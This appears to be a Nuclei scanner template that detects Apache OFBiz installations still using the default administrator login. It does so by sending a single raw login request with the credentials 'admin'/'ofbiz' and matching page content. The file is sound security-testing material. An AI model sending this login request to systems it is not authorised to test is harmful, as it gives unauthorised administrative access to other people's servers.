id: ofbiz-default-login

info:
  name: Apache OfBiz Default Login
  author: pdteam
  severity: high
  description: Apache OfBiz default admin credentials were discovered.
  reference:
    - https://cwiki.apache.org/confluence/display/OFBIZ/Apache+OFBiz+Technical+Production+Setup+Guide
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: ofbiz,default-login,apache

http:
  - raw:
      - |
        POST /control/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        USERNAME={{username}}&PASSWORD={{password}}&FTOKEN=&JavaScriptEnabled=Y

    payloads:
      username:
        - admin
      password:
        - ofbiz
    attack: pitchfork
    matchers:
      - type: word
        words:
          - "ofbiz-pagination-template"
          - "<span>Powered by OFBiz</span>"
        condition: and

# digest: 4b0a00483046022100b51f0ae7f8930dee1c2e79a346c9747aedb0bbc606672d874692268ff0c204d7022100f433a7bb473f26f5366a2cf0cfff5749d6547992d9b06dd9e0099ac817613739:922c64590222798bb761d5b6d8e72950
